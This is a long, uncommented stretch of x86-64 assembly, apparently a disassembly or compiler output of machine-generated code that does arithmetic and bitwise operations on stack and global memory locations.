mov word [rsp + 0x199c], ax
mov rax, qword [rsp + 0xc760]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbda8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1402c9108]
mov word [rcx], ax
movsx eax, byte [rsp + 0x8d]
mov rcx, qword [rsp + 0xd240]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa8], al
mov rax, qword [rsp + 0xcea8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcb90]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5a], al
movzx eax, word [rsp + 0x165c]
mov word [rsp + 0x19a0], ax
mov rax, qword [rsp + 0xd058]
mov rcx, qword [rsp + 0xdbb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xdc08], rax
lea rax, [rsp + 0xcc48]
mov qword [rsp + 0xdcf0], rax
mov eax, dword [rsp + 0x6ce4]
mov ecx, dword [rsp + 0x6cb8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xdc88]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc748]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a14], eax
mov rax, qword [rsp + 0xcd58]
movzx eax, word [rax]
mov word [rsp + 0x19a4], ax
movzx eax, word [rsp + 0x177c]
movzx ecx, word [rsp + 0x1610]
add eax, ecx
mov rcx, qword [0x1402c9320]
mov word [rcx], ax
movsx eax, word [rsp + 0x16f8]
movsx ecx, word [rsp + 0x1824]
xor eax, ecx
mov word [rsp + 0x16f0], ax
mov rax, qword [rsp + 0xcfa8]
movzx eax, byte [rax]
mov byte [rsp + 0x15c], al
mov rax, qword [rsp + 0xcfe8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc908]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0xd5b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6c34]
shr eax, cl
mov dword [rsp + 0x69ec], eax
lea rax, [rsp + 0x696c]
mov qword [rsp + 0xdcf8], rax
mov rax, qword [rsp + 0xcdc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce28]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcd38]
mov qword [rcx], rax
mov rax, qword [rsp + 0xca50]
mov qword [rsp + 0xdd00], rax
mov rax, qword [rsp + 0xbd70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd850]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc3c0]
mov byte [rcx], al
mov rax, qword [rsp + 0xdbf0]
movzx eax, word [rax]
mov word [0x1402c9510], ax
mov rax, qword [rsp + 0xbfb0]
movzx eax, byte [rax]
mov byte [rsp + 0x15d], al
mov rax, qword [rsp + 0xbfb0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcdd8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd298]
mov byte [rcx], al
mov rax, qword [rsp + 0xcc90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x18b8]
sub eax, ecx
mov word [rsp + 0x167c], ax
lea rax, [rsp + 0x11c]
mov qword [rsp + 0xdd08], rax
mov rax, qword [rsp + 0xcca0]
mov rcx, qword [rsp + 0xbf90]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xce80], rax
lea rax, [rsp + 0x6d0c]
mov qword [rsp + 0xdd10], rax
mov rax, qword [rsp + 0xd0b8]
mov rcx, qword [rsp + 0xce28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf58], rax
mov rax, qword [rsp + 0xbb00]
mov ecx, dword [rsp + 0x6ad0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xcf38]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1730]
mov rcx, qword [rsp + 0xdbb0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c7584], ax
lea rax, [0x1402c74e8]
mov qword [rsp + 0xdd18], rax
movsx eax, byte [rsp + 0x71]
movsx ecx, byte [rsp + 0x133]
sub eax, ecx
mov byte [rsp + 0xb3], al
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
mov word [rsp + 0x19a8], ax
mov rax, qword [rsp + 0xcf88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd7d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0xcba8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd6d8]
sar rax, cl
mov qword [rsp + 0xc508], rax
lea rax, [rsp + 0xd030]
mov qword [rsp + 0xdd20], rax
mov rax, qword [rsp + 0xd5c8]
mov ecx, dword [rsp + 0x6d30]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x69f4], eax
mov eax, dword [rsp + 0x6c68]
mov dword [rsp + 0x6d7c], eax
movsx eax, byte [rsp + 0x13c]
mov rcx, qword [rsp + 0xda10]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x1402c90dd], al
movsx eax, word [rsp + 0x15f8]
movsx ecx, word [rsp + 0x19a0]
or eax, ecx
mov rcx, qword [rsp + 0xd418]
mov word [rcx], ax
movzx eax, byte [rsp + 0x13d]
mov byte [rsp + 0x15e], al
mov rax, qword [rsp + 0xcaa0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe3]
and eax, ecx
mov rcx, qword [rsp + 0xca08]
mov byte [rcx], al
movsx eax, word [0x1402c752c]
mov rcx, qword [rsp + 0xcac8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x155c], ax
mov rax, qword [rsp + 0xc518]
mov rax, qword [rax]
mov qword [rsp + 0xdd28], rax
mov rax, qword [rsp + 0xcda8]
mov rcx, qword [rsp + 0xcd30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6bd4], eax
mov rax, qword [rsp + 0xd970]
mov rax, qword [rax]
mov qword [rsp + 0xdd30], rax
mov eax, dword [rsp + 0x6c38]
mov ecx, dword [rsp + 0x6ccc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a3c], eax
mov rax, qword [rsp + 0xdbf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1854]
sub eax, ecx
mov word [0x1402c7588], ax
movsx eax, byte [0x1402c749f]
imul eax, eax, 0x12
mov byte [rsp + 0x10c], al
mov rax, qword [rsp + 0xc0f0]
movzx eax, byte [rax]
mov byte [rsp + 0x15f], al
movzx eax, word [rsp + 0x168c]
mov rcx, qword [rsp + 0xc378]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x190c], ax
mov rax, qword [0x1402c9308]
movzx eax, word [rax]
mov word [rsp + 0x19ac], ax
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c4c], eax
mov rax, qword [rsp + 0xce58]
mov rcx, qword [rsp + 0xc360]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf10], rax
mov rax, qword [rsp + 0xd910]
mov rax, qword [rax]
mov qword [rsp + 0xdd38], rax
mov eax, dword [rsp + 0x69dc]
mov ecx, dword [rsp + 0x6d44]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd8d8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x90]
mov rcx, qword [0x1402c9488]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1402c91c8]
mov byte [rcx], al
mov rax, qword [rsp + 0xd180]
movzx eax, byte [rax]
mov byte [rsp + 0x160], al
mov rax, qword [rsp + 0xdc48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1664]
xor eax, ecx
mov word [rsp + 0x188c], ax
mov rax, qword [rsp + 0xcb68]
movzx eax, word [rax]
movzx ecx, word [0x1402c755c]
shl eax, cl
mov rcx, qword [rsp + 0xd2b0]
mov word [rcx], ax
lea rax, [rsp + 0x15c]
mov qword [rsp + 0xdd40], rax
mov rax, qword [rsp + 0xda50]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd860]
sar rax, cl
mov qword [rsp + 0xbbf0], rax
mov eax, dword [rsp + 0x6d50]
mov dword [rsp + 0x6d80], eax
mov rax, qword [rsp + 0xd0d0]
mov rcx, qword [rsp + 0xce38]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xc380]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcf10]
mov qword [rsp + 0xdd48], rax
movzx eax, word [rsp + 0x1854]
mov word [0x1402c9514], ax
movsx eax, word [rsp + 0x17d8]
mov rcx, qword [0x1402c93d8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x15cc], ax
mov rax, qword [rsp + 0xd7f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x103]
add eax, ecx
mov byte [rsp + 0x12b], al
mov rax, qword [rsp + 0xd648]
movzx eax, byte [rax]
mov byte [rsp + 0x161], al
mov rax, qword [rsp + 0xc098]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd1c0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd590]
mov word [rcx], ax
mov rax, qword [rsp + 0xc598]
mov eax, dword [rax]
mov dword [rsp + 0x6d84], eax
mov rax, qword [rsp + 0xd520]
mov ecx, dword [rsp + 0x6ce8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6cd0], eax
mov rax, qword [rsp + 0xbf60]
mov rcx, qword [rsp + 0xc130]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc5e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc060]
mov qword [rsp + 0xdd50], rax
movsx eax, word [rsp + 0x1920]
mov rcx, qword [rsp + 0xcb00]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c92ec], ax
movsx eax, byte [rsp + 0x116]
movsx ecx, byte [rsp + 0xb2]
and eax, ecx
mov byte [rsp + 0x5b], al
mov rax, qword [rsp + 0xd610]
movzx eax, word [rax]
mov word [rsp + 0x19b0], ax
mov rax, qword [rsp + 0xd088]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
sub eax, ecx
mov byte [rsp + 0x96], al
mov rax, qword [0x1402c9428]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x65]
sub eax, ecx
mov byte [rsp + 0xf5], al
lea rax, [rsp + 0xc2c8]
mov qword [rsp + 0xdd58], rax
mov rax, qword [rsp + 0xdc10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d04]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc748]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcf30]
mov rax, qword [rax]
mov qword [rsp + 0xdd60], rax
mov eax, dword [rsp + 0x6b44]
mov rcx, qword [rsp + 0xcc88]
mov qword [rsp + 0xdd68], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdd68]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xdc88]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xf3]
movsx ecx, byte [rsp + 0x97]
sar eax, cl
mov byte [0x1402c74a3], al
lea rax, [rsp + 0x11d]
mov qword [rsp + 0xdd70], rax
mov rax, qword [rsp + 0xcef0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdae8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1744], ax
mov rax, qword [rsp + 0xbef0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd588]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xd568]
mov word [rcx], ax
movzx eax, word [rsp + 0x18f4]
mov word [rsp + 0x19b4], ax
mov rax, qword [rsp + 0xc0d8]
mov rcx, qword [rsp + 0xbf98]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc0a0], rax
lea rax, [rsp + 0xd598]
mov qword [rsp + 0xdd78], rax
mov rax, qword [rsp + 0xd5c8]
mov eax, dword [rax]
mov ecx, dword [0x1402c7498]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bf8], eax
mov eax, dword [rsp + 0x68a0]
mov ecx, dword [rsp + 0x6bfc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d34], eax
movzx eax, word [rsp + 0x166c]
mov word [rsp + 0x19b8], ax
movzx eax, byte [rsp + 0x8b]
movzx ecx, byte [rsp + 0x75]
sub eax, ecx
mov byte [0x1402c74fa], al
movsx eax, byte [rsp + 0x107]
movsx ecx, byte [rsp + 0x79]
sub eax, ecx
mov byte [rsp + 0xef], al
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
mov word [rsp + 0x19bc], ax
movzx eax, word [rsp + 0x1858]
movzx ecx, word [rsp + 0x1558]
add eax, ecx
mov rcx, qword [rsp + 0xdbb0]
mov word [rcx], ax
mov rax, qword [rsp + 0xbf00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdd30]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd2d8]
mov qword [rcx], rax
lea rax, [rsp + 0xc500]
mov qword [rsp + 0xdd80], rax
mov rax, qword [rsp + 0xc148]
mov ecx, dword [rsp + 0x6bc8]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x6aec], eax
mov eax, dword [rsp + 0x69ec]
mov dword [rsp + 0x6d88], eax
movsx eax, byte [rsp + 0x95]
mov rcx, qword [0x1402c9470]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x11b], al
movsx eax, word [rsp + 0x1874]
movsx ecx, word [rsp + 0x17a8]
sub eax, ecx
mov word [0x1402c7528], ax
mov rax, qword [rsp + 0xc4e8]
movzx eax, word [rax]
movzx ecx, word [0x1402c7518]
sar eax, cl
mov rcx, qword [rsp + 0xba98]
mov word [rcx], ax
lea rax, [rsp + 0x17f8]
mov qword [rsp + 0xdd88], rax
movsx eax, byte [rsp + 0x130]
cdq
mov ecx, 0x27
idiv ecx
mov rcx, qword [rsp + 0xdd40]
mov byte [rcx], al
lea rax, [rsp + 0x6d80]
mov qword [rsp + 0xdd90], rax
mov rax, qword [rsp + 0xc790]
mov rcx, qword [rsp + 0xda38]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xd680]
mov qword [rcx], rax
lea rax, [rsp + 0xd5d0]
mov qword [rsp + 0xdd98], rax
mov rax, qword [rsp + 0xc3d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69b8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc598]
mov dword [rcx], eax
mov rax, qword [0x1402c92c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc760]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x17bc], ax
mov rax, qword [rsp + 0xc260]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcbc0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1402c758c], ax
lea rax, [rsp + 0xf9]
mov qword [rsp + 0xdda0], rax
mov rax, qword [0x1402c9280]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcd88]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xdd], al
mov rax, qword [rsp + 0xccb0]
movzx eax, byte [rax]
mov byte [rsp + 0x162], al
mov rax, qword [rsp + 0xd6a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ba8], eax
mov rax, qword [rsp + 0xcc70]
mov rcx, qword [rsp + 0xc958]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc518]
mov qword [rcx], rax
lea rax, [rsp + 0xbec8]
mov qword [rsp + 0xdda8], rax
mov rax, qword [rsp + 0xc850]
mov ecx, dword [rsp + 0x6cfc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6d60], eax
lea rax, [rsp + 0x1950]
mov qword [rsp + 0xddb0], rax
mov rax, qword [rsp + 0xd200]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5e]
add eax, ecx
mov rcx, qword [0x1402c94b0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x102]
mov rcx, qword [0x1402c92d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd158]
mov byte [rcx], al
movzx eax, byte [rsp + 0xd5]
movzx ecx, byte [rsp + 0x75]
add eax, ecx
mov rcx, qword [rsp + 0xcd88]
mov byte [rcx], al
movzx eax, word [rsp + 0x1918]
mov word [rsp + 0x19c0], ax
mov rax, qword [rsp + 0xcd10]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
sub eax, ecx
mov byte [rsp + 0xde], al
lea rax, [rsp + 0x6c64]
mov qword [rsp + 0xddb8], rax
mov rax, qword [rsp + 0xcbb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbe30]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc110]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc380]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69b0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc00]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc008]
mov rax, qword [rax]
mov qword [rsp + 0xddc0], rax
lea rax, [rsp + 0xfc]
mov qword [0x1402c9518], rax
movsx eax, word [rsp + 0x16fc]
movsx ecx, word [0x1402c74e0]
xor eax, ecx
mov word [rsp + 0x1598], ax
lea rax, [rsp + 0x1558]
mov qword [rsp + 0xddc8], rax
movsx eax, word [rsp + 0x1750]
mov rcx, qword [rsp + 0xc528]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x17a8], ax
mov rax, qword [rsp + 0xd580]
movzx eax, byte [rax]
mov byte [rsp + 0x163], al
mov eax, dword [rsp + 0x6b38]
mov rcx, qword [rsp + 0xbe68]
mov qword [rsp + 0xddd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xddd0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6a44], eax
mov rax, qword [rsp + 0xd250]
mov rcx, qword [rsp + 0xd600]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc008]
mov qword [rcx], rax
lea rax, [rsp + 0x6ce0]
mov qword [rsp + 0xddd8], rax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xc8b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xcd38]
mov qword [rcx], rax
lea rax, [rsp + 0x1660]
mov qword [0x1402c9520], rax
movzx eax, byte [rsp + 0x154]
mov byte [rsp + 0x164], al
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
movzx ecx, word [0x1402c751c]
and eax, ecx
mov rcx, qword [rsp + 0xda48]
mov word [rcx], ax
movsx eax, byte [rsp + 0x106]
movsx ecx, byte [rsp + 0x15e]
sub eax, ecx
mov byte [rsp + 0xd3], al
mov rax, qword [rsp + 0xdc68]
movzx eax, byte [rax]
mov byte [rsp + 0x165], al
mov rax, qword [rsp + 0xc280]
mov rax, qword [rax]
mov rcx, qword [0x1402c7490]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc4c0], rax
mov rax, qword [rsp + 0xc768]
mov eax, dword [rax]
mov dword [rsp + 0x6d8c], eax
mov rax, qword [rsp + 0xd638]
mov ecx, dword [rsp + 0x6d1c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xd8c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbd48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc388]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdb30], rax
mov rax, qword [rsp + 0xc4f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc158]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1402c93f0]
mov byte [rcx], al
lea rax, [rsp + 0x1614]
mov qword [rsp + 0xdde0], rax
movzx eax, byte [rsp + 0xac]
mov rcx, qword [rsp + 0xc590]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xad], al
movzx eax, word [rsp + 0x1708]
mov word [rsp + 0x19c4], ax
movsx eax, word [rsp + 0x1644]
mov rcx, qword [rsp + 0xbca0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x16bc], ax
mov rax, qword [0x1402c7490]
mov qword [rsp + 0xdde8], rax
mov rax, qword [rsp + 0xd9d8]
mov rcx, qword [rsp + 0xc768]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6c80], eax
mov rax, qword [rsp + 0xc200]
mov rcx, qword [rsp + 0xdd30]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xcc98]
mov qword [rcx], rax
lea rax, [rsp + 0x6cd8]
mov qword [rsp + 0xddf0], rax
movzx eax, word [rsp + 0x16c4]
movzx ecx, word [rsp + 0x16ec]
shl eax, cl
mov word [0x1402c7508], ax
movsx eax, word [rsp + 0x1794]
mov rcx, qword [0x1402c9258]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xba90]
mov word [rcx], ax
lea rax, [rsp + 0xbf]
mov qword [rsp + 0xddf8], rax
mov rax, qword [rsp + 0xd088]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf5]
xor eax, ecx
mov rcx, qword [rsp + 0xd180]
mov byte [rcx], al
mov rax, qword [rsp + 0xd200]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xdb38]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x58], al
mov rax, qword [rsp + 0xbe98]
mov qword [rsp + 0xde00], rax
mov rax, qword [rsp + 0xd538]
mov ecx, dword [rsp + 0x6b34]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6d0c], eax
lea rax, [rsp + 0xcf68]
mov qword [rsp + 0xde08], rax
mov eax, dword [rsp + 0x6ca0]
mov ecx, dword [rsp + 0x6a90]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xdae0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x17c0]
mov word [0x1402c9528], ax
movzx eax, word [rsp + 0x1968]
movzx ecx, word [0x1402c7510]
and eax, ecx
mov rcx, qword [rsp + 0xc410]
mov word [rcx], ax
mov rax, qword [rsp + 0xdab8]
movzx eax, byte [rax]
mov byte [rsp + 0x166], al
mov rax, qword [rsp + 0xc680]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd610]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1890], ax
movzx eax, byte [rsp + 0xc7]
mov byte [rsp + 0x167], al
mov rax, qword [rsp + 0xd970]
mov rcx, qword [rsp + 0xbde8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc060], rax
mov rax, qword [rsp + 0xccc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x69e4], eax
mov rax, qword [rsp + 0xbe18]
mov eax, dword [rax]
mov dword [rsp + 0x6d90], eax
mov rax, qword [rsp + 0xda70]
mov rcx, qword [rsp + 0xdb60]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xca80]
mov qword [rcx], rax
lea rax, [rsp + 0x17f4]
mov qword [0x1402c9530], rax
movzx eax, byte [rsp + 0x9d]
mov byte [rsp + 0x168], al
movsx eax, word [rsp + 0x1690]
mov rcx, qword [0x1402c90c8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd328]
mov word [rcx], ax
movzx eax, word [rsp + 0x18d4]
mov word [rsp + 0x19c8], ax
mov rax, qword [rsp + 0xc0f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xba18]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x15d], al
mov rax, qword [rsp + 0xbb90]
mov rcx, qword [rsp + 0xd9d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xd8b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc0c0]
mov qword [rsp + 0xde10], rax
mov rax, qword [rsp + 0xdc70]
movzx ecx, al
mov rax, qword [rsp + 0xc2b0]
shl rax, cl
mov qword [rsp + 0xcb78], rax
mov rax, qword [rsp + 0xd7c8]
mov eax, dword [rax]
mov dword [rsp + 0x6d94], eax
movzx eax, word [rsp + 0x169c]
mov rcx, qword [rsp + 0xbf68]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x1402c9460]
mov word [rcx], ax
movsx eax, byte [rsp + 0x7c]
mov rcx, qword [rsp + 0xdc78]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x97], al
mov rax, qword [0x1402c93d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1744]
sub eax, ecx
mov word [rsp + 0x18a0], ax
movzx eax, byte [rsp + 0x87]
mov byte [rsp + 0x169], al
mov rax, qword [rsp + 0xbf20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6f]
sub eax, ecx
mov byte [rsp + 0x7a], al
mov rax, qword [rsp + 0xc890]
mov eax, dword [rax]
mov dword [rsp + 0x6d98], eax
mov rax, qword [rsp + 0xd0e0]
mov rcx, qword [rsp + 0xcfe0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xd468]
mov qword [rcx], rax
mov rax, qword [rsp + 0xdcf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd430]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc9f8], rax
lea rax, [0x1402c90a0]
mov qword [rsp + 0xde18], rax
mov rax, qword [rsp + 0xdc48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd008]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xdc98]
mov word [rcx], ax
mov rax, qword [rsp + 0xdc78]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc818]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1402c9100]
mov byte [rcx], al
mov rax, qword [rsp + 0xdbf0]
movzx eax, word [rax]
mov word [rsp + 0x19cc], ax
mov rax, qword [rsp + 0xcec8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd088]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd1c8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc140]
movzx eax, word [rax]
mov word [rsp + 0x19d0], ax
mov eax, dword [rsp + 0x6d68]
mov ecx, dword [rsp + 0x6cc8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc8f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc7b0]
mov ecx, dword [rsp + 0x6d14]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc2c0]
mov dword [rcx], eax
lea rax, [rsp + 0xc500]
mov qword [rsp + 0xde20], rax
mov rax, qword [rsp + 0xbdd0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc388]
shl rax, cl
mov qword [rsp + 0xced8], rax
lea rax, [rsp + 0x142]
mov qword [rsp + 0xde28], rax
movzx eax, byte [rsp + 0x68]
mov rcx, qword [rsp + 0xc9d8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1402c74fb], al
mov rax, qword [rsp + 0xcb08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc760]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x164c], ax
movsx eax, byte [rsp + 0xe0]
mov rcx, qword [rsp + 0xbf40]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xd760]
mov byte [rcx], al
lea rax, [rsp + 0x1760]
mov qword [rsp + 0xde30], rax
mov rax, qword [rsp + 0xc3e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69c8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc090]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc068]
mov rax, qword [rax]
mov qword [rsp + 0xde38], rax
mov rax, qword [rsp + 0xc718]
mov rcx, qword [rsp + 0xc550]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xd3d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc748]
mov ecx, dword [rsp + 0x6cf4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbd78]
mov dword [rcx], eax
lea rax, [rsp + 0x17cc]
mov qword [rsp + 0xde40], rax
mov rax, qword [rsp + 0xd318]
movsx eax, byte [rax]
movsx ecx, byte [0x1402c90a7]
add eax, ecx
mov rcx, qword [0x1402c9470]
mov byte [rcx], al
movzx eax, word [rsp + 0x16a0]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd8f0]
mov word [rcx], ax
lea rax, [rsp + 0x1920]
mov qword [rsp + 0xde48], rax
movzx eax, byte [rsp + 0x104]
mov rcx, qword [rsp + 0xc320]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x15f], al
mov eax, dword [rsp + 0x6a98]
mov ecx, dword [rsp + 0x69b4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d84], eax
